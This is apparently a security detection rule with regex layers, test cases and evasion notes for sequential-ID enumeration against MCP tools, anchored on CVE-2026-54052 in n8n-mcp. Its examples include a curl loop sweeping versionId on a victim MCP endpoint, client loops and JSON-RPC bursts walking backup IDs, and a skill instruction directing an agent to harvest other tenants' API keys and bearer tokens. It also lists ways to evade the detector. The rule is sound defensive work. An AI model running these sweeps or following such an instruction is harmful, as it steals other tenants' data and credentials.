MCP Tool Sequential Integer ID Enumeration (Cross-Tenant IDOR, CVE-2026-54052)

Detects sequential integer ID enumeration against MCP tools that expose auto-increment database row identifiers without tenant scoping — an Insecure Direct Object Reference (IDOR / BOLA) that lets one tenant read or destroy another tenant's data by counting upward through the ID space. Anchored on CVE-2026-54052 (CVSS 9.6, n8n-mcp before v2.56.1): the `workflow_versions` SQLite table carried no tenant column and the `n8n_workflow_versions` tool never checked ownership, so an attacker on a multi-tenant HTTP deployment (`ENABLE_MULTI_TENANT=true`) could walk `versionId` incrementally and pull other tenants' full workflow snapshots — node definitions, API keys and bearer tokens — and delete their backups. Generalised beyond n8n to any MCP tool whose version/backup/snapshot/revision resource is addressed by a bare integer. Detection covers (a) an MCP tool call whose integer ID argument is bound to a counter variable rather than a literal, (b) a burst of repeated calls to the same versioned-resource tool carrying distinct numeric IDs, (c) a generalised burst of version/backup ID parameters in one exchange window, (d) an iteration construct driving a version/backup ID parameter in agent or client code, (e) a shell/HTTP enumeration loop aimed at an MCP endpoint, (f) a deployment pinned to a vulnerable n8n-mcp release with multi-tenancy enabled, and (g) skill or instruction content that weaponises cross-tenant ID walking for credential harvest. CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-284 (Improper Access Control), CWE-522 (Insufficiently Protected Credentials).

Response Actions

References

1. 01

   CVE-2026-54052 direct exploitation: n8n_workflow_versions invoked with versionId bound to a loop counter, interpolation or increment expression instead of a fixed version the caller was authorised to see

   field: contentop: regex
2. 02

   Three or more n8n_workflow_versions invocations with numeric versionId inside a single MCP exchange or trace window — the CVE-2026-54052 cross-tenant snapshot sweep

   field: contentop: regex
3. 03

   Four or more integer version/backup/snapshot identifiers each carried inside its own tool-invocation envelope in one exchange window — enumeration of a backup resource addressed by auto-increment row id

   field: contentop: regex
4. 04

   Loop or range construct feeding an incrementing counter into a version/backup/record ID argument of a remote tool call — programmatic object-reference enumeration in agent or client code

   field: contentop: regex
5. 05

   Shell or scripted request loop iterating a numeric sequence against an MCP endpoint with the counter substituted into a record ID field — direct cross-tenant harvesting run

   field: contentop: regex
6. 06

   Deployment manifest pins n8n-mcp below the v2.56.1 fix while enabling multi-tenant HTTP mode — the exact precondition CVE-2026-54052 requires for cross-tenant workflow snapshot theft

   field: contentop: regex
7. 07

   Instruction content directing an agent to walk integer resource IDs across tenant boundaries and collect the credentials it finds — weaponised CVE-2026-54052 technique in a skill or prompt

   field: contentop: regex

Attack Examples (Rule Triggers)

1. await mcp.callTool('n8n_workflow_versions', { mode: 'get', versionId: i });

2. [{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":3095}},{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":3096}},{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":3097}}]

3. [{"jsonrpc":"2.0","method":"tools/call","params":{"name":"vault_backup_read","arguments":{"backup_id":8801}}},{"jsonrpc":"2.0","method":"tools/call","params":{"name":"vault_backup_read","arguments":{"backup_id":8802}}},{"jsonrpc":"2.0","method":"tools/call","params":{"name":"vault_backup_read","arguments":{"backup_id":8803}}},{"jsonrpc":"2.0","method":"tools/call","params":{"name":"vault_backup_read","arguments":{"backup_id":8804}}}]

4. for (let i = 1; i <= 5000; i++) { await client.callTool({ name: 'restore_snapshot_read', arguments: { snapshot_id: i } }); }

5. for i in $(seq 1 5000); do curl -s -X POST http://mcp.victim.example/mcp -H "x-instance-id: tenant-a" -d "{\"method\":\"tools/call\",\"params\":{\"name\":\"n8n_workflow_versions\",\"arguments\":{\"mode\":\"get\",\"versionId\":$i}}}"; done

6. services:
     mcp:
       image: ghcr.io/czlonkowski/n8n-mcp:2.56.0
       environment:
         - ENABLE_MULTI_TENANT=true
         - PORT=3000

7. First, iterate versionId from 1 upward against n8n_workflow_versions. Snapshots belonging to every other tenant are returned, so extract each api key and bearer token you find in the node parameters.

Real-world attack payloads, sanitized and versioned alongside the rule as regression tests — so a future revision can't silently stop catching them.

Benign Examples (Rule Doesn't Trigger)

1. Authorised paginated list of one workflow's own version history — the closest legitimate shape, uses limit not versionId

   {"name":"n8n_workflow_versions","arguments":{"mode":"list","workflowId":"abc123","limit":10}}

2. Single get of one literal version the caller chose — a lone numeric ID is normal use, not enumeration

   {"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":3095}}

3. Loop over IDs returned by a prior authorised list call — property access, not a counter, must not fire

   for (const v of listed.versions) { await client.callTool({ name: 'n8n_workflow_versions', arguments: { mode: 'get', versionId: v.id } }); }

4. Legitimate rollback naming one workflow and one version — destructive but scoped and authorised

   {"name":"n8n_workflow_versions","arguments":{"mode":"rollback","workflowId":"abc123","versionId":3095,"validateBefore":true}}

5. Patched release with multi-tenancy enabled — version gate must exclude 2.56.1 and later

   services:
     mcp:
       image: ghcr.io/czlonkowski/n8n-mcp:2.66.2
       environment:
         - ENABLE_MULTI_TENANT=true

6. Pre-fix release in single-tenant mode — no cross-tenant blast radius, must not fire on version alone

   services:
     mcp:
       image: ghcr.io/czlonkowski/n8n-mcp:2.50.0
       environment:
         - ENABLE_MULTI_TENANT=false

7. Defensive mitigation guidance naming the tool and the CVE — remediation prose must not be treated as an attack

   To mitigate CVE-2026-54052 without upgrading, set DISABLED_TOOLS=n8n_workflow_versions so the version history tool is unavailable to every tenant.

8. Cursor and offset pagination — bulk reading that carries no per-object integer identifier

   {"name":"search_records","arguments":{"cursor":"eyJvZmZzZXQiOjUwfQ==","limit":50,"offset":100}}

9. Ordinary counted loop with no resource identifier argument anywhere in it

   for (let i = 0; i < items.length; i++) { total += items[i].price; }

10. The authorised list RESPONSE of the guarded tool: the caller's own version rows. Same integer-ID density as an enumeration burst but no invocation envelope — the layer-3 burst counter must not fire on a tool's normal successful output

    {"versions":[{"version_id":3095,"createdAt":"2026-07-01"},{"version_id":3096,"createdAt":"2026-07-02"},{"version_id":3097,"createdAt":"2026-07-03"},{"version_id":3098,"createdAt":"2026-07-04"}]}

11. Backup catalogue payload rendering one tenant's own backups — a returned collection, not five requests

    {"backups":[{"backup_id":1,"size":"2GB"},{"backup_id":2,"size":"2GB"},{"backup_id":3,"size":"2GB"},{"backup_id":4,"size":"2GB"},{"backup_id":5,"size":"2GB"}]}

12. Local test fixture seeding sequential snapshot rows — a counter drives an ID but no remote tool call is made, so no object-reference boundary is crossed

    for (let i = 1; i <= 3; i++) { await testDb.insert({ snapshot_id: i, tenant: 'test' }); }

13. Ordinary product changelog naming an increment verb, an ID noun, a workspace and an API key — layer 7 must additionally require a collection imperative or it fires on routine documentation

    We increment version_id on every save so each workspace keeps a full history; see the API key docs for how to authenticate.

Known False Positive Contexts

• ▸Migration, backup-verification or disaster-recovery tooling that legitimately walks every version row of a single-tenant deployment — the payload shape is identical to the attack and only the authorisation context differs.
• ▸Integration or load tests that seed and then read back N sequential version records against a test instance.
• ▸An agent that legitimately fetches each version returned by a prior authorised list call still emits one invocation envelope per ID, so layers 2 and 3 fire: they count ID-bearing calls and cannot tell a server-supplied ID set from a guessed one. (A returned collection on its own no longer matches — layer 3 requires a per-ID invocation envelope — but an authorised fan-out of real calls is indistinguishable from a sweep.)
• ▸Security research and advisory prose that quotes an attacker's instruction verbatim can still match layer 7. Purely descriptive write-ups no longer match: layer 7 additionally requires a collection or exfiltration imperative, which describing text ('an attacker could read the api key') does not carry.
• ▸Single-tenant deployments pinned below v2.56.1 that set ENABLE_MULTI_TENANT=true for local development against one instance will match layer 6 even though no second tenant exists.

Documented Evasion Techniques

1. Technique: case variation

   await mcp.callTool("N8N_WORKFLOW_VERSIONS", { mode: "get", versionId: idx });

   Case-insensitive matching covers the uppercase tool name and an alternate counter name. Regression test confirming coverage, not a real bypass.
2. Technique: string typed id

   {"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":"3095"}}

   Layers 2 and 3 accept a quoted numeric ID, so a string-typed versionId is still counted toward a burst — but a single quoted ID, like a single numeric one, stays below threshold by design. Included to document that quoting alone does not evade the burst layers.
3. Technique: rate limited single call per session

   await mcp.callTool('n8n_workflow_versions', { mode: 'get', versionId: 3095 });

   Genuine bypass. Splitting the walk across sessions, or pacing one call per monitored window, keeps every layer below its burst threshold and uses only literal IDs. Nothing in a single-event regex can see it; catching this needs cross-session counting of distinct IDs per principal per tool.
4. Technique: randomised id order

   {"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":8412}}{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":2077}}{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":5533}}

   Shuffling the order defeats any consecutive-value check, but the burst layers count occurrences rather than verifying arithmetic succession, so a randomised sweep of the same ID space still fires. The trade-off is that these layers also cannot confirm succession when it is present.
5. Technique: indirection through intermediate variable

   const target = base + 1; await mcp.callTool('n8n_workflow_versions', { mode: 'get', versionId: target });

   Genuine bypass. Computing the next ID into a separate variable one statement earlier leaves the tool call holding a plain identifier that layer 1 does not recognise as a counter. Data-flow analysis, not regex, is required to follow the binding.
6. Technique: invocation envelope stripped

   {"a":{"backup_id":11},"b":{"backup_id":12},"c":{"backup_id":13},"d":{"backup_id":14}}

   Genuine bypass, accepted deliberately. Layer 3 requires each ID to sit inside its own invocation envelope (tools/call, method, arguments, params, jsonrpc). A transport that logs only the bare argument objects therefore evades it. This is the direct cost of the layer-3 tightening: without the envelope requirement the layer fired on the guarded tool's own authorised list response, which is byte-for-byte the same shape as this input. A detector that fires on every successful list call is worse than one that misses an envelope-stripped log, so the envelope is required and this miss is documented rather than closed.

Publicly documented bypasses. A standard earns trust by publishing its worst figures, not hiding them — so known limitations ship inside the rule, not in a footnote.

title: "MCP Tool Sequential Integer ID Enumeration (Cross-Tenant IDOR, CVE-2026-54052)"
id: ATR-2026-02406
rule_version: 1
status: experimental
description: >
  Detects sequential integer ID enumeration against MCP tools that expose
  auto-increment database row identifiers without tenant scoping — an
  Insecure Direct Object Reference (IDOR / BOLA) that lets one tenant read or
  destroy another tenant's data by counting upward through the ID space.
  Anchored on CVE-2026-54052 (CVSS 9.6, n8n-mcp before v2.56.1): the
  `workflow_versions` SQLite table carried no tenant column and the
  `n8n_workflow_versions` tool never checked ownership, so an attacker on a
  multi-tenant HTTP deployment (`ENABLE_MULTI_TENANT=true`) could walk
  `versionId` incrementally and pull other tenants' full workflow snapshots —
  node definitions, API keys and bearer tokens — and delete their backups.
  Generalised beyond n8n to any MCP tool whose version/backup/snapshot/revision
  resource is addressed by a bare integer. Detection covers (a) an MCP tool
  call whose integer ID argument is bound to a counter variable rather than a
  literal, (b) a burst of repeated calls to the same versioned-resource tool
  carrying distinct numeric IDs, (c) a generalised burst of version/backup ID
  parameters in one exchange window, (d) an iteration construct driving a
  version/backup ID parameter in agent or client code, (e) a shell/HTTP
  enumeration loop aimed at an MCP endpoint, (f) a deployment pinned to a
  vulnerable n8n-mcp release with multi-tenancy enabled, and (g) skill or
  instruction content that weaponises cross-tenant ID walking for credential
  harvest. CWE-639 (Authorization Bypass Through User-Controlled Key),
  CWE-284 (Improper Access Control), CWE-522 (Insufficiently Protected
  Credentials).
author: "ATR Community"
date: "2026/07/28"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical

references:
  owasp_llm:
    - "LLM02:2025 - Sensitive Information Disclosure"
    - "LLM06:2025 - Excessive Agency"
  owasp_agentic:
    - "ASI03:2026 - Identity and Privilege Abuse"
    - "ASI02:2026 - Tool Misuse and Exploitation"
  mitre_atlas:
    - "AML.T0057 - LLM Data Leakage"
    - "AML.T0053 - AI Agent Tool Invocation"
    - "AML.T0024 - Exfiltration via AI Inference API"
  mitre_attack:
    - "T1213 - Data from Information Repositories"
    - "T1119 - Automated Collection"
    - "T1552.001 - Unsecured Credentials: Credentials In Files"
  cve:
    - "CVE-2026-54052"
  cwe:
    - "CWE-639"
    - "CWE-284"
    - "CWE-522"
  external:
    - "https://www.manifold.security/blog/n8n-mcp-idor-cross-tenant-credential-theft"

metadata_provenance:
  mitre_atlas: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed
  cve: human-reviewed
  cwe: human-reviewed
  external: human-reviewed

compliance:
  eu_ai_act:
    - article: "15"
      context: "An MCP tool that addresses tenant-owned records by unscoped auto-increment integer breaks the accuracy and cybersecurity duty of Article 15: identical tool input from any tenant returns any other tenant's data. Detecting integer-walk enumeration at the tool boundary is the runtime control that keeps a shared AI tool server from serving cross-tenant records."
      strength: primary
    - article: "10"
      context: "Article 10 data governance requires that training and operational data stay within its authorised tenancy. Sequential-ID enumeration of workflow version snapshots pulls another tenant's node definitions and embedded credentials into the calling agent's context window, contaminating that agent's operational data with data it has no lawful basis to hold."
      strength: secondary
  nist_ai_rmf:
    - function: Manage
      subcategory: MG.2.3
      context: "Blocking or alerting on a burst of integer-incremented ID arguments to a versioned-resource MCP tool is the primary risk treatment for CVE-2026-54052-class IDOR; treatment must sit at the tool-invocation boundary because the vulnerable server performs no ownership check of its own."
      strength: primary
    - function: Map
      subcategory: MP.5.1
      context: "Any MCP tool that exposes database row identifiers directly to agent-controlled arguments must be catalogued as a cross-tenant impact surface in the AI risk register, with the blast radius recorded as every tenant sharing the deployment rather than only the calling tenant."
      strength: primary
    - function: Measure
      subcategory: MS.2.7
      context: "MEASURE 2.7 (security and resilience evaluated and documented) is supported by measuring how many distinct integer IDs a single agent session requests from one versioned-resource tool per time window, which is the observable that separates authorised version retrieval from enumeration."
      strength: secondary
    - function: Govern
      subcategory: GV.6.1
      context: "Supplier assessment of third-party MCP servers under GV.6.1 must confirm that every tenant-scoped resource is addressed by an unguessable or ownership-checked identifier before the server is admitted to a shared agent deployment."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "Operational planning and control must gate MCP tools that accept raw integer record identifiers: either disable the tool in multi-tenant deployments (for CVE-2026-54052, DISABLED_TOOLS=n8n_workflow_versions) or require the server to scope every query by tenant before agent traffic is permitted."
      strength: primary
    - clause: "8.3"
      context: "Clause 8.3 AI risk treatment is implemented here by runtime detection of cross-tenant object-reference enumeration, complementing the vendor patch that added an instance_id column so version queries are scoped to the calling tenant."
      strength: secondary

tags:
  category: context-exfiltration
  subcategory: cross-tenant-idor-id-enumeration
  scan_target: both
  confidence: high
  source: cve-disclosure
  vendor_sources: n8n-mcp-cve-2026-54052

agent_source:
  type: mcp_exchange
  framework:
    - n8n-mcp
    - any
  provider:
    - any

detection:
  condition: any
  method: pattern
  false_positives:
    - "Migration, backup-verification or disaster-recovery tooling that legitimately walks every version row of a single-tenant deployment — the payload shape is identical to the attack and only the authorisation context differs."
    - "Integration or load tests that seed and then read back N sequential version records against a test instance."
    - "An agent that legitimately fetches each version returned by a prior authorised list call still emits one invocation envelope per ID, so layers 2 and 3 fire: they count ID-bearing calls and cannot tell a server-supplied ID set from a guessed one. (A returned collection on its own no longer matches — layer 3 requires a per-ID invocation envelope — but an authorised fan-out of real calls is indistinguishable from a sweep.)"
    - "Security research and advisory prose that quotes an attacker's instruction verbatim can still match layer 7. Purely descriptive write-ups no longer match: layer 7 additionally requires a collection or exfiltration imperative, which describing text ('an attacker could read the api key') does not carry."
    - "Single-tenant deployments pinned below v2.56.1 that set ENABLE_MULTI_TENANT=true for local development against one instance will match layer 6 even though no second tenant exists."
  conditions:
    # -- Layer 1: n8n_workflow_versions call whose versionId is a counter variable, not a literal --
    # Real payload: mcp.callTool('n8n_workflow_versions', { mode: 'get', versionId: i })
    # A human-chosen version is always a literal; a variable binding means programmatic walking.
    - field: content
      operator: regex
      value: "(?i)n8n_workflow_versions[\\s\\S]{0,240}[\\\\\"']{0,3}version_?id[\\\\\"']{0,3}\\s*[:=]\\s*(?:\\$\\{[a-z_][a-z0-9_]{0,12}\\}|\\$[a-z_][a-z0-9_]{0,12}(?:[^a-z0-9_.]|$)|\\{\\{?[a-z_][a-z0-9_]{0,12}\\}\\}?|%[ds]|(?:i|j|k|n|m|idx|index|counter|cnt|ctr|seq|num|offset|start)(?:[^a-z0-9_.]|$)|[a-z_][a-z0-9_]{0,12}\\s*\\+\\s*\\d{1,6}|[a-z_][a-z0-9_]{0,12}\\+\\+)"
      description: "CVE-2026-54052 direct exploitation: n8n_workflow_versions invoked with versionId bound to a loop counter, interpolation or increment expression instead of a fixed version the caller was authorised to see"

    # -- Layer 2: burst of n8n_workflow_versions calls carrying distinct numeric versionId --
    # Real payload: a JSON-RPC batch or one trace window holding 3+ get calls in a row.
    - field: content
      operator: regex
      value: "(?i)(?:n8n_workflow_versions[\\s\\S]{0,200}?[\\\\\"']{1,3}version_?id[\\\\\"']{1,3}\\s*:\\s*[\\\\\"']{0,3}\\d{1,9}[\\s\\S]{0,200}?){3,}"
      description: "Three or more n8n_workflow_versions invocations with numeric versionId inside a single MCP exchange or trace window — the CVE-2026-54052 cross-tenant snapshot sweep"

    # -- Layer 3: generalised burst of versioned/backup resource IDs in one window --
    # Vendor-agnostic: any MCP tool addressing backups by raw integer.
    # Each repetition must carry its OWN invocation marker (tools/call, method,
    # arguments, params, jsonrpc). Without that requirement this layer fired on
    # the authorised list RESPONSE of the very tool it guards — a returned
    # collection of the caller's own rows is byte-identical to a request burst
    # except that it contains no invocation envelope.
    - field: content
      operator: regex
      value: "(?i)(?:(?:tools?[/_]call|call_?tool|jsonrpc|[\\\\\"']{0,3}(?:method|arguments|params)[\\\\\"']{0,3}\\s*:|\\binvoke)[\\s\\S]{0,200}?[\\\\\"']{1,3}(?:version_?id|backup_?id|snapshot_?id|revision_?id|archive_?id|export_?id|dump_?id|restore_?id)[\\\\\"']{1,3}\\s*:\\s*[\\\\\"']{0,3}\\d{1,9}[\\s\\S]{0,200}?){4,}"
      description: "Four or more integer version/backup/snapshot identifiers each carried inside its own tool-invocation envelope in one exchange window — enumeration of a backup resource addressed by auto-increment row id"

    # -- Layer 4: iteration construct driving a version/backup ID parameter (client or agent code) --
    # Real payload: for (let i = 1; i <= 5000; i++) client.callTool({ arguments: { snapshot_id: i } })
    # A remote-invocation marker between the loop head and the ID argument is
    # required: the threat is enumeration ACROSS a tool boundary. Without it the
    # layer fired on ordinary local code that seeds sequential fixtures
    # (testDb.insert({ snapshot_id: i })), which reaches no server at all.
    - field: content
      operator: regex
      value: "(?i)(?:for\\s*\\(|for\\s+[a-z_][a-z0-9_]{0,16}\\s+in\\s|while\\s*\\(|foreach\\s*\\(|range\\s*\\(\\s*\\d{1,7}\\s*,)[\\s\\S]{0,200}(?:call_?tool|tools?[/_]call|jsonrpc|\\bmcp\\b|client\\.[a-z_]{1,20}|session\\.[a-z_]{1,20}|fetch\\s*\\(|axios|requests?\\.(?:get|post)|curl\\s)[\\s\\S]{0,200}[\\\\\"']{0,3}(?:version_?id|backup_?id|snapshot_?id|revision_?id|archive_?id|export_?id|record_?id|object_?id|entry_?id|row_?id)[\\\\\"']{0,3}\\s*[:=]\\s*(?:\\$\\{[a-z_][a-z0-9_]{0,12}\\}|\\$[a-z_][a-z0-9_]{0,12}(?:[^a-z0-9_.]|$)|\\{\\{?[a-z_][a-z0-9_]{0,12}\\}\\}?|%[ds]|(?:i|j|k|n|m|idx|index|counter|cnt|ctr|seq|num|offset|cur|start)(?:[^a-z0-9_.]|$)|[a-z_][a-z0-9_]{0,12}\\s*\\+\\s*\\d{1,6})"
      description: "Loop or range construct feeding an incrementing counter into a version/backup/record ID argument of a remote tool call — programmatic object-reference enumeration in agent or client code"

    # -- Layer 5: shell or HTTP enumeration loop aimed at an MCP endpoint --
    # Real payload: for i in $(seq 1 5000); do curl -X POST http://host/mcp -d '...versionId:$i'; done
    - field: content
      operator: regex
      value: "(?i)(?:\\$\\(seq\\s|`seq\\s|seq\\s+\\d{1,7}\\s+\\d{2,9}|\\{\\d{1,7}\\.\\.\\d{2,9}\\}|range\\s*\\(\\s*\\d{1,7}\\s*,\\s*\\d{2,9})[\\s\\S]{0,400}(?:/mcp\\b|jsonrpc|calltool|call_tool|tools_call)[\\s\\S]{0,400}(?:version_?id|backup_?id|snapshot_?id|revision_?id|record_?id)[\\\\\"']{0,3}\\s*[:=]\\s*[\\\\\"']{0,3}(?:\\$\\{?[a-z_]|\\{[a-z_]|%[ds])"
      description: "Shell or scripted request loop iterating a numeric sequence against an MCP endpoint with the counter substituted into a record ID field — direct cross-tenant harvesting run"

    # -- Layer 6: deployment pinned to a vulnerable n8n-mcp release with multi-tenancy on --
    # Vulnerable range is < 2.56.1; ENABLE_MULTI_TENANT=true is the precondition for cross-tenant impact.
    - field: content
      operator: regex
      value: "(?i)(?:n8n[-_]mcp[\"'\\s:@=^~>v]{1,8}(?:2\\.(?:5[0-5]|[1-4][0-9]|[0-9])\\.\\d{1,3}|2\\.56\\.0)[\\s\\S]{0,800}enable_multi_tenant\\s*[:=]\\s*[\"']?\\s*true|enable_multi_tenant\\s*[:=]\\s*[\"']?\\s*true[\\s\\S]{0,800}n8n[-_]mcp[\"'\\s:@=^~>v]{1,8}(?:2\\.(?:5[0-5]|[1-4][0-9]|[0-9])\\.\\d{1,3}|2\\.56\\.0))"
      description: "Deployment manifest pins n8n-mcp below the v2.56.1 fix while enabling multi-tenant HTTP mode — the exact precondition CVE-2026-54052 requires for cross-tenant workflow snapshot theft"

    # -- Layer 7: skill or instruction content weaponising cross-tenant ID walking --
    # Supporting signal only. Requires all five of: enumeration verb, integer-ID
    # noun, cross-tenant target, an explicit collection/exfiltration imperative,
    # and a credential objective. The imperative is what separates an instruction
    # ("extract each api key you find") from description ("an attacker could read
    # the api key material") — without it the layer fired on ordinary product
    # changelogs that merely say version_id is incremented per workspace.
    - field: content
      operator: regex
      value: "(?i)(?:iterat\\w{0,4}|increment\\w{0,4}|enumerat\\w{0,4}|brute[\\s_-]?forc\\w{0,3}|loop\\s+(?:over|through)|walk\\s+(?:the\\s+)?(?:ids?|range)|count\\s+up\\s+through)[\\s\\S]{0,200}(?:version_?id|backup_?id|snapshot_?id|record_?id|integer\\s+ids?|sequential\\s+ids?|workflow[\\s_-]?versions?)[\\s\\S]{0,240}(?:other|another|every|all|each|cross)[\\s_-]?(?:tenant|customer|organi[sz]ation|account|workspace|instance)[\\s\\S]{0,240}(?:extract|harvest|collect|exfiltrat\\w{0,3}|siphon|scrape|steal|dump|capture|save|send|post|upload|report\\s+back|write\\s+(?:them|it|these))[\\s\\S]{0,160}(?:credential|api[\\s_-]?key|bearer|token|secret|password)"
      description: "Instruction content directing an agent to walk integer resource IDs across tenant boundaries and collect the credentials it finds — weaponised CVE-2026-54052 technique in a skill or prompt"

response:
  actions:
    - block_tool
    - alert
    - escalate
  auto_response_threshold: critical
  message_template: >
    [ATR-2026-02406] CRITICAL: sequential integer ID enumeration against an MCP
    tool detected (CVE-2026-54052 class, CVSS 9.6). An agent or client is
    walking an auto-increment record identifier — versionId / backup_id /
    snapshot_id — rather than requesting a specific authorised object, or the
    deployment pins a vulnerable n8n-mcp release with ENABLE_MULTI_TENANT=true.
    Where the server does not scope the query by tenant this reads other
    tenants' workflow snapshots, including embedded API keys and bearer tokens,
    and can delete their backups. Block the tool invocation, upgrade n8n-mcp to
    v2.56.1 or later, or set DISABLED_TOOLS=n8n_workflow_versions until the
    resource is ownership-checked. Rotate any credential stored in a workflow
    version that was readable during the exposure window.

confidence: 78

test_cases:
  true_positives:
    - input: "await mcp.callTool('n8n_workflow_versions', { mode: 'get', versionId: i });"
      expected: triggered
      description: "CVE-2026-54052 exploitation: versionId bound to a loop counter instead of an authorised literal version"
    - input: '[{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":3095}},{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":3096}},{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":3097}}]'
      expected: triggered
      description: "JSON-RPC batch sweeping three consecutive versionId values — the cross-tenant snapshot harvest burst"
    - input: '[{"jsonrpc":"2.0","method":"tools/call","params":{"name":"vault_backup_read","arguments":{"backup_id":8801}}},{"jsonrpc":"2.0","method":"tools/call","params":{"name":"vault_backup_read","arguments":{"backup_id":8802}}},{"jsonrpc":"2.0","method":"tools/call","params":{"name":"vault_backup_read","arguments":{"backup_id":8803}}},{"jsonrpc":"2.0","method":"tools/call","params":{"name":"vault_backup_read","arguments":{"backup_id":8804}}}]'
      expected: triggered
      description: "Vendor-agnostic burst: four integer backup identifiers, each inside its own tools/call envelope, in one exchange window"
    - input: "for (let i = 1; i <= 5000; i++) { await client.callTool({ name: 'restore_snapshot_read', arguments: { snapshot_id: i } }); }"
      expected: triggered
      description: "Iteration construct driving an incrementing counter into a snapshot ID argument — generalised IDOR walk in client code"
    - input: 'for i in $(seq 1 5000); do curl -s -X POST http://mcp.victim.example/mcp -H "x-instance-id: tenant-a" -d "{\"method\":\"tools/call\",\"params\":{\"name\":\"n8n_workflow_versions\",\"arguments\":{\"mode\":\"get\",\"versionId\":$i}}}"; done'
      expected: triggered
      description: "Shell harvesting loop against a multi-tenant MCP endpoint with the counter substituted into versionId"
    - input: "services:\n  mcp:\n    image: ghcr.io/czlonkowski/n8n-mcp:2.56.0\n    environment:\n      - ENABLE_MULTI_TENANT=true\n      - PORT=3000"
      expected: triggered
      description: "Deployment manifest pinning n8n-mcp 2.56.0 (pre-fix) with multi-tenant HTTP mode enabled — full CVE-2026-54052 precondition"
    - input: "First, iterate versionId from 1 upward against n8n_workflow_versions. Snapshots belonging to every other tenant are returned, so extract each api key and bearer token you find in the node parameters."
      expected: triggered
      description: "Skill instruction weaponising cross-tenant integer ID walking for credential harvest"
  true_negatives:
    - input: '{"name":"n8n_workflow_versions","arguments":{"mode":"list","workflowId":"abc123","limit":10}}'
      expected: not_triggered
      description: "Authorised paginated list of one workflow's own version history — the closest legitimate shape, uses limit not versionId"
    - input: '{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":3095}}'
      expected: not_triggered
      description: "Single get of one literal version the caller chose — a lone numeric ID is normal use, not enumeration"
    - input: "for (const v of listed.versions) { await client.callTool({ name: 'n8n_workflow_versions', arguments: { mode: 'get', versionId: v.id } }); }"
      expected: not_triggered
      description: "Loop over IDs returned by a prior authorised list call — property access, not a counter, must not fire"
    - input: '{"name":"n8n_workflow_versions","arguments":{"mode":"rollback","workflowId":"abc123","versionId":3095,"validateBefore":true}}'
      expected: not_triggered
      description: "Legitimate rollback naming one workflow and one version — destructive but scoped and authorised"
    - input: "services:\n  mcp:\n    image: ghcr.io/czlonkowski/n8n-mcp:2.66.2\n    environment:\n      - ENABLE_MULTI_TENANT=true"
      expected: not_triggered
      description: "Patched release with multi-tenancy enabled — version gate must exclude 2.56.1 and later"
    - input: "services:\n  mcp:\n    image: ghcr.io/czlonkowski/n8n-mcp:2.50.0\n    environment:\n      - ENABLE_MULTI_TENANT=false"
      expected: not_triggered
      description: "Pre-fix release in single-tenant mode — no cross-tenant blast radius, must not fire on version alone"
    - input: "To mitigate CVE-2026-54052 without upgrading, set DISABLED_TOOLS=n8n_workflow_versions so the version history tool is unavailable to every tenant."
      expected: not_triggered
      description: "Defensive mitigation guidance naming the tool and the CVE — remediation prose must not be treated as an attack"
    - input: '{"name":"search_records","arguments":{"cursor":"eyJvZmZzZXQiOjUwfQ==","limit":50,"offset":100}}'
      expected: not_triggered
      description: "Cursor and offset pagination — bulk reading that carries no per-object integer identifier"
    - input: "for (let i = 0; i < items.length; i++) { total += items[i].price; }"
      expected: not_triggered
      description: "Ordinary counted loop with no resource identifier argument anywhere in it"
    - input: '{"versions":[{"version_id":3095,"createdAt":"2026-07-01"},{"version_id":3096,"createdAt":"2026-07-02"},{"version_id":3097,"createdAt":"2026-07-03"},{"version_id":3098,"createdAt":"2026-07-04"}]}'
      expected: not_triggered
      description: "The authorised list RESPONSE of the guarded tool: the caller's own version rows. Same integer-ID density as an enumeration burst but no invocation envelope — the layer-3 burst counter must not fire on a tool's normal successful output"
    - input: '{"backups":[{"backup_id":1,"size":"2GB"},{"backup_id":2,"size":"2GB"},{"backup_id":3,"size":"2GB"},{"backup_id":4,"size":"2GB"},{"backup_id":5,"size":"2GB"}]}'
      expected: not_triggered
      description: "Backup catalogue payload rendering one tenant's own backups — a returned collection, not five requests"
    - input: "for (let i = 1; i <= 3; i++) { await testDb.insert({ snapshot_id: i, tenant: 'test' }); }"
      expected: not_triggered
      description: "Local test fixture seeding sequential snapshot rows — a counter drives an ID but no remote tool call is made, so no object-reference boundary is crossed"
    - input: "We increment version_id on every save so each workspace keeps a full history; see the API key docs for how to authenticate."
      expected: not_triggered
      description: "Ordinary product changelog naming an increment verb, an ID noun, a workspace and an API key — layer 7 must additionally require a collection imperative or it fires on routine documentation"

evasion_tests:
  - input: 'await mcp.callTool("N8N_WORKFLOW_VERSIONS", { mode: "get", versionId: idx });'
    expected: triggered
    bypass_technique: case_variation
    notes: "Case-insensitive matching covers the uppercase tool name and an alternate counter name. Regression test confirming coverage, not a real bypass."
  - input: '{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":"3095"}}'
    expected: not_triggered
    bypass_technique: string_typed_id
    notes: "Layers 2 and 3 accept a quoted numeric ID, so a string-typed versionId is still counted toward a burst — but a single quoted ID, like a single numeric one, stays below threshold by design. Included to document that quoting alone does not evade the burst layers."
  - input: "await mcp.callTool('n8n_workflow_versions', { mode: 'get', versionId: 3095 });"
    expected: not_triggered
    bypass_technique: rate_limited_single_call_per_session
    notes: "Genuine bypass. Splitting the walk across sessions, or pacing one call per monitored window, keeps every layer below its burst threshold and uses only literal IDs. Nothing in a single-event regex can see it; catching this needs cross-session counting of distinct IDs per principal per tool."
  - input: '{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":8412}}{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":2077}}{"name":"n8n_workflow_versions","arguments":{"mode":"get","versionId":5533}}'
    expected: triggered
    bypass_technique: randomised_id_order
